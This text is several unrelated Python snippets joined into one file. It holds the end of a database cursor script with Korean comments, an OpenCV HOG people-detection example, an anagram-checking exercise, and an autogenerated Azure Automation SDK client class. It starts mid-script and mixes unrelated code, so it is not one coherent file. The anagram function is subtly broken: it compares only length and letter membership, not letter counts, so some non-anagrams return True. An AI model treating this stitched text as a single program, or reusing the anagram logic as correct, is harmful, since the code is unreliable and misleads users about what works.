# for row in datas:
#     print(row)
#     print(row[0], row[1])

# ->밑에 위에 같은 코딩

for rs in cursor:
    print(rs)
    print(rs[0], rs[1])

# 5) 커서 객체 닫기

cursor.close()

# 6) 연결 객체 닫기

conn.close()


import numpy as np
import cv2

def inside(r, q):
    rx, ry, rw, rh = r
    qx, qy, qw, qh = q
    return rx > qx and ry > qy and rx + rw < qx + qw and ry + rh < qy + qh

def draw_detections(img, rects, thickness = 1):
    for x, y, w, h in rects:
        # the HOG detector returns slightly larger rectangles than the real objects.
        # so we slightly shrink the rectangles to get a nicer output.
        pad_w, pad_h = int(0.15*w), int(0.05*h)
        cv2.rectangle(img, (x+pad_w, y+pad_h), (x+w-pad_w, y+h-pad_h), (0, 255, 0), thickness)

hog = cv2.HOGDescriptor()
hog.setSVMDetector( cv2.HOGDescriptor_getDefaultPeopleDetector() )
cap=cv2.imread('test.jpg')
frame=cap
found,w=hog.detectMultiScale(frame, winStride=(8,8), padding=(32,32), scale=1.05)
draw_detections(frame,found)
cv2.imwrite('result.jpg',frame)


'''

Problem
Given two strings ,check to see if they are anagram.
an anagram is when the two strings can be written with the exact same letters
to get a different words

Algorithim 1
1.Replace spaces with null in both the strings and lower case all the letters
2.check the lengths of both the strings
3.check if every letter in the string 2 is present in string 1

Algorithm 2
1.Replace spaces with null in both the strings and lower case all the letters
2.sort the strings
3.check if equal

'''

st1 = 'public relations'
st2 = 'crap built on lies'

def anagram(st1, st2):
    # 1.Replace spaces with null in both the strings
    changed_st1 = st1.replace(' ', '').lower()
    changed_st2 = st2.replace(' ', '').lower()

    # 2.Check the length of both the strings
    if len(changed_st1) != len(changed_st2):
        return False

    # 3.check every letter in string 2 is presrnt in string 1
    for e in changed_st2:
        if e in changed_st1:
            continue
        else:
            return False

    return True

print(anagram(st1, st2))


# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------

from copy import deepcopy
from typing import Any, TYPE_CHECKING

from azure.core.rest import HttpRequest, HttpResponse
from azure.mgmt.core import ARMPipelineClient

from . import models as _models
from ._configuration import AutomationClientConfiguration
from ._serialization import Deserializer, Serializer
from .operations import (
    ActivityOperations,
    AgentRegistrationInformationOperations,
    AutomationAccountOperations,
    AutomationClientOperationsMixin,
    CertificateOperations,
    ConnectionOperations,
    ConnectionTypeOperations,
    CredentialOperations,
    DeletedAutomationAccountsOperations,
    DscCompilationJobOperations,
    DscCompilationJobStreamOperations,
    DscConfigurationOperations,
    DscNodeConfigurationOperations,
    DscNodeOperations,
    FieldsOperations,
    HybridRunbookWorkerGroupOperations,
    HybridRunbookWorkersOperations,
    JobOperations,
    JobScheduleOperations,
    JobStreamOperations,
    KeysOperations,
    LinkedWorkspaceOperations,
    ModuleOperations,
    NodeCountInformationOperations,
    NodeReportsOperations,
    ObjectDataTypesOperations,
    Operations,
    PrivateEndpointConnectionsOperations,
    PrivateLinkResourcesOperations,
    Python2PackageOperations,
    Python3PackageOperations,
    RunbookDraftOperations,
    RunbookOperations,
    ScheduleOperations,
    SoftwareUpdateConfigurationMachineRunsOperations,
    SoftwareUpdateConfigurationRunsOperations,
    SoftwareUpdateConfigurationsOperations,
    SourceControlOperations,
    SourceControlSyncJobOperations,
    SourceControlSyncJobStreamsOperations,
    StatisticsOperations,
    TestJobOperations,
    TestJobStreamsOperations,
    UsagesOperations,
    VariableOperations,
    WatcherOperations,
    WebhookOperations,
)

if TYPE_CHECKING:
    # pylint: disable=unused-import,ungrouped-imports
    from azure.core.credentials import TokenCredential

class AutomationClient(
    AutomationClientOperationsMixin
):  # pylint: disable=client-accepts-api-version-keyword,too-many-instance-attributes
    """Automation Client.

    :ivar private_endpoint_connections: PrivateEndpointConnectionsOperations operations
    :vartype private_endpoint_connections:
     azure.mgmt.automation.operations.PrivateEndpointConnectionsOperations
    :ivar private_link_resources: PrivateLinkResourcesOperations operations
    :vartype private_link_resources:
     azure.mgmt.automation.operations.PrivateLinkResourcesOperations
    :ivar agent_registration_information: AgentRegistrationInformationOperations operations
    :vartype agent_registration_information:
     azure.mgmt.automation.operations.AgentRegistrationInformationOperations
    :ivar dsc_node: DscNodeOperations operations
    :vartype dsc_node: azure.mgmt.automation.operations.DscNodeOperations
    :ivar node_reports: NodeReportsOperations operations
    :vartype node_reports: azure.mgmt.automation.operations.NodeReportsOperations
    :ivar dsc_compilation_job: DscCompilationJobOperations operations
    :vartype dsc_compilation_job: azure.mgmt.automation.operations.DscCompilationJobOperations
    :ivar dsc_compilation_job_stream: DscCompilationJobStreamOperations operations
    :vartype dsc_compilation_job_stream:
     azure.mgmt.automation.operations.DscCompilationJobStreamOperations
    :ivar node_count_information: NodeCountInformationOperations operations
    :vartype node_count_information:
     azure.mgmt.automation.operations.NodeCountInformationOperations
    :ivar watcher: WatcherOperations operations
    :vartype watcher: azure.mgmt.automation.operations.WatcherOperations
    :ivar software_update_configurations: SoftwareUpdateConfigurationsOperations operations
    :vartype software_update_configurations:
     azure.mgmt.automation.operations.SoftwareUpdateConfigurationsOperations
    :ivar webhook: WebhookOperations operations
    :vartype webhook: azure.mgmt.automation.operations.WebhookOperations
    :ivar deleted_automation_accounts: DeletedAutomationAccountsOperations operations
    :vartype deleted_automation_accounts:
     azure.mgmt.automation.operations.DeletedAutomationAccountsOperations
    :ivar automation_account: AutomationAccountOperations operations
    :vartype automation_account: azure.mgmt.automation.operations.AutomationAccountOperations
    :ivar statistics: StatisticsOperations operations
    :vartype statistics: azure.mgmt.automation.operations.StatisticsOperations
    :ivar usages: UsagesOperations operations
    :vartype usages: azure.mgmt.automation.operations.UsagesOperations
    :ivar keys: KeysOperations operations
    :vartype keys: azure.mgmt.automation.operations.KeysOperations
    :ivar certificate: CertificateOperations operations
    :vartype certificate: azure.mgmt.automation.operations.CertificateOperations
    :ivar connection: ConnectionOperations operations
    :vartype connection: azure.mgmt.automation.operations.ConnectionOperations
    :ivar connection_type: ConnectionTypeOperations operations
    :vartype connection_type: azure.mgmt.automation.operations.ConnectionTypeOperations
    :ivar credential: CredentialOperations operations
    :vartype credential: azure.mgmt.automation.operations.CredentialOperations
    :ivar dsc_configuration: DscConfigurationOperations operations
    :vartype dsc_configuration: azure.mgmt.automation.operations.DscConfigurationOperations
    :ivar dsc_node_configuration: DscNodeConfigurationOperations operations
    :vartype dsc_node_configuration:
     azure.mgmt.automation.operations.DscNodeConfigurationOperations
    :ivar hybrid_runbook_workers: HybridRunbookWorkersOperations operations
    :vartype hybrid_runbook_workers:
     azure.mgmt.automation.operations.HybridRunbookWorkersOperations
    :ivar hybrid_runbook_worker_group: HybridRunbookWorkerGroupOperations operations
    :vartype hybrid_runbook_worker_group:
     azure.mgmt.automation.operations.HybridRunbookWorkerGroupOperations
    :ivar job: JobOperations operations
    :vartype job: azure.mgmt.automation.operations.JobOperations
    :ivar job_stream: JobStreamOperations operations
    :vartype job_stream: azure.mgmt.automation.operations.JobStreamOperations
    :ivar job_schedule: JobScheduleOperations operations
    :vartype job_schedule: azure.mgmt.automation.operations.JobScheduleOperations
    :ivar linked_workspace: LinkedWorkspaceOperations operations
    :vartype linked_workspace: azure.mgmt.automation.operations.LinkedWorkspaceOperations
    :ivar activity: ActivityOperations operations
    :vartype activity: azure.mgmt.automation.operations.ActivityOperations
    :ivar module: ModuleOperations operations
    :vartype module: azure.mgmt.automation.operations.ModuleOperations
    :ivar object_data_types: ObjectDataTypesOperations operations
    :vartype object_data_types: azure.mgmt.automation.operations.ObjectDataTypesOperations
    :ivar fields: FieldsOperations operations
    :vartype fields: azure.mgmt.automation.operations.FieldsOperations
    :ivar operations: Operations operations
    :vartype operations: azure.mgmt.automation.operations.Operations
    :ivar python2_package: Python2PackageOperations operations
    :vartype python2_package: azure.mgmt.automation.operations.Python2PackageOperations
    :ivar python3_package: Python3PackageOperations operations
    :vartype python3_package: azure.mgmt.automation.operations.Python3PackageOperations
    :ivar runbook_draft: RunbookDraftOperations operations
    :vartype runbook_draft: azure.mgmt.automation.operations.RunbookDraftOperations
    :ivar runbook: RunbookOperations operations
    :vartype runbook: azure.mgmt.automation.operations.RunbookOperations
    :ivar test_job_streams: TestJobStreamsOperations operations
    :vartype test_job_streams: azure.mgmt.automation.operations.TestJobStreamsOperations
    :ivar test_job: TestJobOperations operations
    :vartype test_job: azure.mgmt.automation.operations.TestJobOperations
    :ivar schedule: ScheduleOperations operations
    :vartype schedule: azure.mgmt.automation.operations.ScheduleOperations
    :ivar software_update_configuration_machine_runs:
     SoftwareUpdateConfigurationMachineRunsOperations operations
    :vartype software_update_configuration_machine_runs:
     azure.mgmt.automation.operations.SoftwareUpdateConfigurationMachineRunsOperations
    :ivar software_update_configuration_runs: SoftwareUpdateConfigurationRunsOperations operations
    :vartype software_update_configuration_runs:
     azure.mgmt.automation.operations.SoftwareUpdateConfigurationRunsOperations
    :ivar source_control: SourceControlOperations operations
    :vartype source_control: azure.mgmt.automation.operations.SourceControlOperations
    :ivar source_control_sync_job: SourceControlSyncJobOperations operations
    :vartype source_control_sync_job:
     azure.mgmt.automation.operations.SourceControlSyncJobOperations
    :ivar source_control_sync_job_streams: SourceControlSyncJobStreamsOperations operations
    :vartype source_control_sync_job_streams:
     azure.mgmt.automation.operations.SourceControlSyncJobStreamsOperations
    :ivar variable: VariableOperations operations
    :vartype variable: azure.mgmt.automation.operations.VariableOperations
    :param credential: Credential needed for the client to connect to Azure. Required.
    :type credential: ~azure.core.credentials.TokenCredential
    :param subscription_id: Gets subscription credentials which uniquely identify Microsoft Azure
     subscription. The subscription ID forms part of the URI for every service call. Required.
    :type subscription_id: str
    :param base_url: Service URL. Default value is "https://management.azure.com".
    :type base_url: str
    :keyword int polling_interval: Default waiting time between two polls for LRO operations if no
     Retry-After header is present.
    """

    def __init__(
        self,
        credential: "TokenCredential",
        subscription_id: str,
        base_url: str = "https://management.azure.com",
        **kwargs: Any
    ) -> None:
        self._config = AutomationClientConfiguration(credential=credential, subscription_id=subscription_id, **kwargs)
        self._client = ARMPipelineClient(base_url=base_url, config=self._config, **kwargs)

        client_models = {k: v for k, v in _models.__dict__.items() if isinstance(v, type)}
        self._serialize = Serializer(client_models)
        self._deserialize = Deserializer(client_models)
        self._serialize.client_side_validation = False
        self.private_endpoint_connections = PrivateEndpointConnectionsOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.private_link_resources = PrivateLinkResourcesOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.agent_registration_information = AgentRegistrationInformationOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.dsc_node = DscNodeOperations(self._client, self._config, self._serialize, self._deserialize)
        self.node_reports = NodeReportsOperations(self._client, self._config, self._serialize, self._deserialize)
        self.dsc_compilation_job = DscCompilationJobOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.dsc_compilation_job_stream = DscCompilationJobStreamOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.node_count_information = NodeCountInformationOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.watcher = WatcherOperations(self._client, self._config, self._serialize, self._deserialize)
        self.software_update_configurations = SoftwareUpdateConfigurationsOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.webhook = WebhookOperations(self._client, self._config, self._serialize, self._deserialize)
        self.deleted_automation_accounts = DeletedAutomationAccountsOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.automation_account = AutomationAccountOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.statistics = StatisticsOperations(self._client, self._config, self._serialize, self._deserialize)
        self.usages = UsagesOperations(self._client, self._config, self._serialize, self._deserialize)
        self.keys = KeysOperations(self._client, self._config, self._serialize, self._deserialize)
        self.certificate = CertificateOperations(self._client, self._config, self._serialize, self._deserialize)
        self.connection = ConnectionOperations(self._client, self._config, self._serialize, self._deserialize)
        self.connection_type = ConnectionTypeOperations(self._client, self._config, self._serialize, self._deserialize)
        self.credential = CredentialOperations(self._client, self._config, self._serialize, self._deserialize)
        self.dsc_configuration = DscConfigurationOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.dsc_node_configuration = DscNodeConfigurationOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.hybrid_runbook_workers = HybridRunbookWorkersOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.hybrid_runbook_worker_group = HybridRunbookWorkerGroupOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.job = JobOperations(self._client, self._config, self._serialize, self._deserialize)
        self.job_stream = JobStreamOperations(self._client, self._config, self._serialize, self._deserialize)
        self.job_schedule = JobScheduleOperations(self._client, self._config, self._serialize, self._deserialize)
        self.linked_workspace = LinkedWorkspaceOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.activity = ActivityOperations(self._client, self._config, self._serialize, self._deserialize)
        self.module = ModuleOperations(self._client, self._config, self._serialize, self._deserialize)
        self.object_data_types = ObjectDataTypesOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.fields = FieldsOperations(self._client, self._config, self._serialize, self._deserialize)
        self.operations = Operations(self._client, self._config, self._serialize, self._deserialize)
        self.python2_package = Python2PackageOperations(self._client, self._config, self._serialize, self._deserialize)
        self.python3_package = Python3PackageOperations(self._client, self._config, self._serialize, self._deserialize)
        self.runbook_draft = RunbookDraftOperations(self._client, self._config, self._serialize, self._deserialize)
        self.runbook = RunbookOperations(self._client, self._config, self._serialize, self._deserialize)
        self.test_job_streams = TestJobStreamsOperations(self._client, self._config, self._serialize, self._deserialize)
        self.test_job = TestJobOperations(self._client, self._config, self._serialize, self._deserialize)
        self.schedule = ScheduleOperations(self._client, self._config, self._serialize, self._deserialize)
        self.software_update_configuration_machine_runs = SoftwareUpdateConfigurationMachineRunsOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.software_update_configuration_runs = SoftwareUpdateConfigurationRunsOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.source_control = SourceControlOperations(self._client, self._config, self._serialize, self._deserialize)
        self.source_control_sync_job = SourceControlSyncJobOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.source_control_sync_job_streams = SourceControlSyncJobStreamsOperations(
            self._client, self._config, self._serialize, self._deserialize
        )
        self.variable = VariableOperations(self._client, self._config, self._serialize, self._deserialize)

    def _send_request(self, request: HttpRequest, **kwargs: Any) -> HttpResponse:
        """Runs the network request through the client's chained policies.

        >>> from azure.core.rest import HttpRequest
        >>> request = HttpRequest("GET", "https://www.example.org/")
        <HttpRequest [GET], url: 'https://www.example.org/'>
        >>> response = client._send_request(request)
        <HttpResponse: 200 OK>

        For more information on this code flow, see https://aka.ms/azsdk/dpcodegen/python/send_request

        :param request: The network request you want to make. Required.
        :type request: ~azure.core.rest.HttpRequest
        :keyword bool stream: Whether the response payload will be streamed. Defaults to False.
        :return: The response of your network call. Does not do error handling on your response.
        :rtype: ~azure.core.rest.HttpResponse
        """

        request_copy = deepcopy(request)
        request_copy.url = self._client.format_url(request_copy.url)
        return self._client.send_request(request_copy, **kwargs)

    def close(self) -> None:
        self._client.close()

    def __enter__(self) -> "AutomationClient":
        self._client.__enter__()
        return self

    def __exit__(self, *exc_details) -> None:
        self._client.__exit__(*exc_details)